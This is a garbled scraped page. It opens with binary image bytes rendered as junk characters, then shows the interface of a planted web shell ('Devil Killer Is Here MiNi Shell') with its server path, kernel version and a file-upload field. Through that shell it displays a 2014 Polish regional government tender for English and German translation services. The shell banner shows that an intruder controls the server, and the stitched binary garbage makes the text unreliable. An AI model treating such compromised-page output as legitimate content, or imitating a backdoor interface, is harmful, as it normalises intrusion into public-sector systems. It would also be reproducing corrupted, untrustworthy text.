JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140311/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20140311/50775-N-2014.html

<p class="kh_header"><b>Gdańsk: Przetarg nieograniczony o wartości poniżej 207 tys. EURO na świadczenie kompleksowych usług tłumaczenia w zakresie języka angielskiego i niemieckiego dla Województwa Pomorskiego</b><br>
<b>Numer ogłoszenia: 50775 - 2014; data zamieszczenia: 11.03.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Województwo Pomorskie , ul. Okopowa 21/27, 80-810 Gdańsk, woj. pomorskie, tel. 58 3261555, faks 58 3261556.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.pomorskie.eu</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Przetarg nieograniczony o wartości poniżej 207 tys. EURO na świadczenie kompleksowych usług tłumaczenia w zakresie języka angielskiego i niemieckiego dla Województwa Pomorskiego.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1. Przedmiotem zamówienia jest świadczenie kompleksowych usług tłumaczenia dla Województwa Pomorskiego. Przedmiot zamówienia został podzielony na IV części.

2. Usługi będące przedmiotem zamówienia obejmują tłumaczenia z języka obcego na język polski i/lub z języka polskiego na język obcy na terenie Polski. Zakres tematyczny tłumaczeń obejmuje wszystkie zagadnienia związane z działalnością samorządu województwa, w tym zagadnienia ogólne, finansowe, gospodarcze, międzynarodowe, unijne, prawne, promocyjne. Materiały do tłumaczenia będą przygotowane w programach Microsoft Office (np. Word, Excel, Power Point) lub innych popularnych formatach plików, ustalonych z Wykonawcą zgodnie ze zleceniem bieżącym. 

3. Tłumaczenia dotyczą następujących języków:
a) angielski,
b) niemiecki.

4. Przewidywane ilości tłumaczeń w ramach każdej części określone zostały w Formularzu Ofertowym (stanowiącym załącznik nr 2 do SIWZ). Podana ilość stron/bloków jest ilością szacowaną podaną w celu określenia maksymalnej wartości zamówienia, ustalenia cen jednostkowych, porównania ofert i wyboru najkorzystniejszej oferty. Zamawiający zastrzega prawo zamówienia mniejszej ilości tłumaczeń oraz dokonywania zmian ilości tłumaczeń w poszczególnych rodzajach, blokach i trybach tłumaczeń, stosownie do swoich potrzeb w granicach wynagrodzenia Wykonawcy zgodnie ze złożona ofertą. 


5. Szczegółowy opis przedmiotu zamówienia znajduje się w Załączniku nr 1 do SIWZ i stanowi integralną część SIWZ.
6. Zamówienie należy zrealizować w terminie od dnia zawarcia umowy do dnia 31.12.2014r. lub do wykorzystania kwoty brutto umowy zgodnie ze złożona ofertą Wykonawcy..</p>
<p><b>II.1.5) przewiduje się udzielenie zamówień uzupełniających:</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający przewiduje udzielanie zamówień uzupełniających, o których mowa w art. 67 ust. 1 pkt. 6 ustawy w wysokości do 10 %  wartości  danej części zamówienia.</li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 4.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2014.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wnoszenia wadium.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>( warunek taki sam dla każdej części)

Ocena spełnienia wyżej wskazanego warunku nastąpi na podstawie przedstawionego przez Wykonawcę oświadczenia, o którym mowa w § 5 ust.1a SIWZ, tj. oświadczenia Wykonawcy o spełnianiu warunków udziału w postępowaniu, o których mowa w art. 22 ust.1 ustawy Prawo zamówień publicznych  (wzór oświadczenia stanowi załącznik nr 3 do SIWZ)</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>( warunek inny dla każdej części)
Zamawiający uzna warunek za spełniony jeżeli Wykonawcy wykażą, że w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał należycie co najmniej:
Dla części I:

pisemne tłumaczenia z/na język angielski co najmniej 100 stron tłumaczeniowych ( w ramach jednego lub wielu zleceń) z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej przy czym Zamawiający uznaje, że strona tłumaczeniowa to 1800 znaków ze spacjami.

Dla części II:
 
symultaniczne tłumaczenia z/ na język angielski podczas min. 5 konferencji (wydarzeń) z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej
oraz 
konsekutywne tłumaczenia z/ na język angielski podczas min. 5 konferencji (wydarzeń) z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej

Dla części III:

pisemne tłumaczenia z/na język niemiecki co najmniej 50 stron tłumaczeniowych ( w ramach jednego lub wielu zleceń) z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej ,  przy czym Zamawiający uznaje, że strona tłumaczeniowa to 1800 znaków ze spacjami..

Dla części IV:

symultaniczne tłumaczenia z/ na język niemiecki podczas min. 5 konferencji (wydarzeń) z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej
oraz 
konsekutywne tłumaczenia z/ na język niemiecki podczas min. 5 konferencji (wydarzeń) z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej
 


Ocena wykazania spełnienia warunku nastąpi na podstawie przedstawionych przez Wykonawcę dokumentów, o których mowa rozdz. III.4.1 tiret pierwszy niniejszego ogłoszenia (§ 5. ust. 1b SIWZ tj. wykazu usług (wzór stanowi załącznik nr 5 do SIWZ)) oraz oświadczenia, o którym mowa w § 5 ust. 1a  SIWZtj. oświadczenia Wykonawcy o spełnianiu warunków udziału w postępowaniu, o których mowa w art. 22 ust. 1 ustawy Prawo zamówień publicznych (wzór stanowi załącznik nr 3 do SIWZ).</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>( warunek taki sam dla każdej części)

Ocena spełnienia wyżej wskazanego warunku nastąpi na podstawie przedstawionego przez Wykonawcę oświadczenia, o którym mowa w § 5 ust.1a SIWZ, tj. oświadczenia Wykonawcy o spełnianiu warunków udziału w postępowaniu, o których mowa w art. 22 ust.1 ustawy Prawo zamówień publicznych  (wzór oświadczenia stanowi załącznik nr 3 do SIWZ)</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>( warunek inny dla każdej części)
Warunek ten Zamawiający uzna za spełniony, jeżeli Wykonawca wykaże, że dysponuje lub będzie dysponował osobami, które będą uczestniczyć w wykonywaniu zamówienia, posiadającymi kwalifikacje niezbędne do realizacji zamówienia w tym: 

Część I
Co najmniej dwoma (2) tłumaczami języka angielskiego, przy czym każdy tłumacz powinien posiadać doświadczenie w przetłumaczeniu co najmniej 50 stron obliczeniowych, w języku angielskim w okresie ostatnich 3 lat przed terminem składania ofert, z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej, przy czym Zamawiający uznaje, że strona tłumaczeniowa/obliczeniowa to 1800 znaków ze spacjami oraz posiadać wykształcenie:

a) ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym języka angielskiego (w kraju lub za granicą)

albo

b) legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka angielskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 

albo

c) ukończone studia podyplomowe (w kraju lub za granicą) w zakresie tłumaczenia, dla języka angielskiego, 

albo

d) posiadanie prawa do wykonywania zawodu tłumacza przysięgłego,

albo

e) posiadanie statusu native speakera oraz:
- albo ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym w zakresie języka polskiego (w kraju lub za granicą)
- albo ukończenie studiów wyższych, co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski
- albo legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka polskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 

 

Część II 
Co najmniej (2) tłumaczami języka angielskiego, przy czym każdy tłumacz posiada doświadczenie w tłumaczeniu ustnym konsekutywnym co najmniej 10 bloków tłumaczeniowych w języku angielskim w okresie ostatnich 3 lat przed terminem składania ofert, z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej, przy czym Zamawiający uznaje za blok tłumaczeniowy 4 godziny zegarowe pracy jednego tłumacza oraz posiadać wykształcenie:

a) ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym języka angielskiego (w kraju lub za granicą)

albo

b) legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka angielskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages)

albo

c) ukończone studia podyplomowe (w kraju lub za granicą) w zakresie tłumaczenia, dla języka angielskiego, 

albo

d) posiadanie prawa do wykonywania zawodu tłumacza przysięgłego,

albo

e) posiadanie statusu native speakera oraz:
- albo ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym w zakresie języka polskiego (w kraju lub za granicą)
- albo ukończenie studiów wyższych, co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski
- albo legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka polskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 


oraz 
Co najmniej (4) tłumaczami języka angielskiego, przy czym każdy tłumacz posiada doświadczenie w tłumaczeniu ustnym symultanicznym co najmniej 10 bloków tłumaczeniowych w języku angielskim w okresie ostatnich  3 lat przed terminem składania ofert, z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej, przy czym Zamawiający uznaje za blok tłumaczeniowy 4 godziny zegarowe pracy jednego tłumacza oraz posiadać wykształcenie:

a) ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym języka angielskiego (w kraju lub za granicą)

albo

b) legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka angielskiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages)

albo

c) ukończone studia podyplomowe (w kraju lub za granicą) w zakresie tłumaczenia, dla języka angielskiego, 

albo

d) posiadanie prawa do wykonywania zawodu tłumacza przysięgłego,

albo

e) posiadanie statusu native speakera oraz:
- albo ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym w zakresie języka polskiego (w kraju lub za granicą)
- albo ukończenie studiów wyższych, co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski
- albo legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka polskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 


Część III 
Co najmniej dwoma (2) tłumaczami języka niemieckiego, przy czym każdy tłumacz  posiada doświadczenie w przetłumaczeniu co najmniej 50 stron obliczeniowych, w języku niemieckim  w okresie ostatnich 3 lat przed terminem składania ofert, z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej przy czym Zamawiający uznaje, że strona tłumaczeniowa/obliczeniowa to 1800 znaków ze spacjami oraz posiadać wykształcenie:

a) ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym języka niemieckiego (w kraju lub za granicą)

albo

b) legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka niemieckiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages)

albo

c) ukończone studia podyplomowe (w kraju lub za granicą) w zakresie tłumaczenia, dla języka niemieckiego, 

albo

d) posiadanie prawa do wykonywania zawodu tłumacza przysięgłego,

albo

e) posiadanie statusu native speakera oraz:
- albo ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym w zakresie języka polskiego (w kraju lub za granicą)
- albo ukończenie studiów wyższych, co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski
- albo legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka polskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 


Część IV
Co najmniej dwoma (2) tłumaczami języka niemieckiego, przy czym każdy tłumacz posiada doświadczenie w tłumaczeniu ustnym konsekutywnym  co najmniej 5 bloków tłumaczeniowych w języku niemieckim w okresie ostatnich 3 lat przed terminem składania ofert, z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej, przy czym Zamawiający uznaje za blok tłumaczeniowy 4 godziny zegarowe pracy jednego tłumacza oraz posiadać wykształcenie:
a) ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym języka niemieckiego (w kraju lub za granicą)

albo

b) legitymowanie się certyfikatem GDS lub równoważnym (poziom biegły) języka niemieckiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages)

albo

c) ukończone studia podyplomowe (w kraju lub za granicą) w zakresie tłumaczenia, dla języka niemieckiego, 

albo

d) posiadanie prawa do wykonywania zawodu tłumacza przysięgłego,

albo

e) posiadanie statusu native speakera oraz:
- albo ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym w zakresie języka polskiego (w kraju lub za granicą)
- albo ukończenie studiów wyższych, co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski
- albo legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka polskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 


oraz 
Co najmniej 4 tłumaczy języka niemieckiego, przy czym każdy tłumacz  posiada doświadczenie w tłumaczeniu ustnym symultanicznym  co najmniej 5 bloków tłumaczeniowych w języku niemieckim w okresie ostatnich 3 lat przed terminem składania ofert, z zakresu tematycznego obejmującego zagadnienia finansowe lub gospodarcze lub międzynarodowe lub unijne lub prawne lub promocyjne lub turystyczne lub kulturalne lub rozwoju regionalnego lub zdrowotne lub polityki społecznej, przy czym Zamawiający uznaje za blok tłumaczeniowy  4 godziny zegarowe pracy jednego tłumacza oraz posiadać wykształcenie: 
a) ukończone studia wyższe, co najmniej 3-letnie, na kierunku filologicznym języka niemieckiego (w kraju lub za granicą)

albo

b) legitymowanie się certyfikatem GDS lub równoważnym (poziom biegły) języka niemieckiego zgodnie z założeniami Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages)

albo

c) ukończone studia podyplomowe (w kraju lub za granicą) w zakresie tłumaczenia, dla języka niemieckiego , 

albo

d) posiadanie prawa do wykonywania zawodu tłumacza przysięgłego,

albo

e) posiadanie statusu native speakera oraz:
- albo ukończenie studiów wyższych, co najmniej 3-letnich, na kierunku filologicznym w zakresie języka polskiego (w kraju lub za granicą)
- albo ukończenie studiów wyższych, co najmniej 3-letnich na kierunku, na którym językiem wykładowym był język polski
- albo legitymowanie się certyfikatem C2 lub równoważnym (poziom biegły) języka polskiego zgodnie z założeniami
Europejskiego Systemu Opisu Kształcenia Językowego (Common European Framework of Reference for Languages) 


Ocena wykazania spełnienia warunku nastąpi na podstawie przedstawionych przez Wykonawcę dokumentów, o których mowa w rozdz. III.4.1 tiret drugi niniejszego ogłoszenia( § 5. ust. 1c tj. wykazu osób (wzór stanowi załącznik nr 6 do SIWZ)) oraz oświadczenia, o którym mowa w § 5 ust. 1a SIWZ tj. oświadczenia Wykonawcy o spełnianiu warunków udziału w postępowaniu, o których mowa w art. 22 ust. 1 ustawy Prawo zamówień publicznych (wzór stanowi załącznik nr 3 do SIWZ).</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>( warunek taki sam dla każdej części)

Ocena spełnienia wyżej wskazanego warunku nastąpi na podstawie przedstawionego przez Wykonawcę oświadczenia, o którym mowa w § 5 ust.1a SIWZ, tj. oświadczenia Wykonawcy o spełnianiu warunków udziału w postępowaniu, o których mowa w art. 22 ust.1 ustawy Prawo zamówień publicznych  (wzór oświadczenia stanowi załącznik nr 3 do SIWZ)</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.	Dokumenty sporządzone w języku obcym będą składane wraz z tłumaczeniem na język polski 
i poświadczone przez wykonawcę
2.	Dokumenty potwierdzające spełnianie warunków udziału w postępowaniu będą składane w formie oryginału lub kopii poświadczonej za zgodność z oryginałem przez wykonawcę. Zamawiający może żądać przedstawienia oryginału lub notarialnie poświadczonej kopii dokumentu wyłącznie wtedy, gdy złożona przez wykonawcę kopia dokumentu jest nieczytelna lub budzi wątpliwości co do jej prawdziwości.
3.	Dokumenty składane przez wykonawców zagranicznych.
Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej zamiast dokumentów, o których mowa w rozdz. III.4.2 tiret drugi niniejszego ogłoszenia (§5 ust. 2b  siwz)składa dokument lub dokumenty wystawione w kraju, w którym ma siedzibę lub miejsce zamieszkania, potwierdzające, że nie otwarto jego likwidacji ani nie ogłoszono upadłości,
4.	Dokumenty, o których mowa w pkt 3, powinny być wystawione nie wcześniej niż 6 miesięcy przed upływem terminu składania ofert.
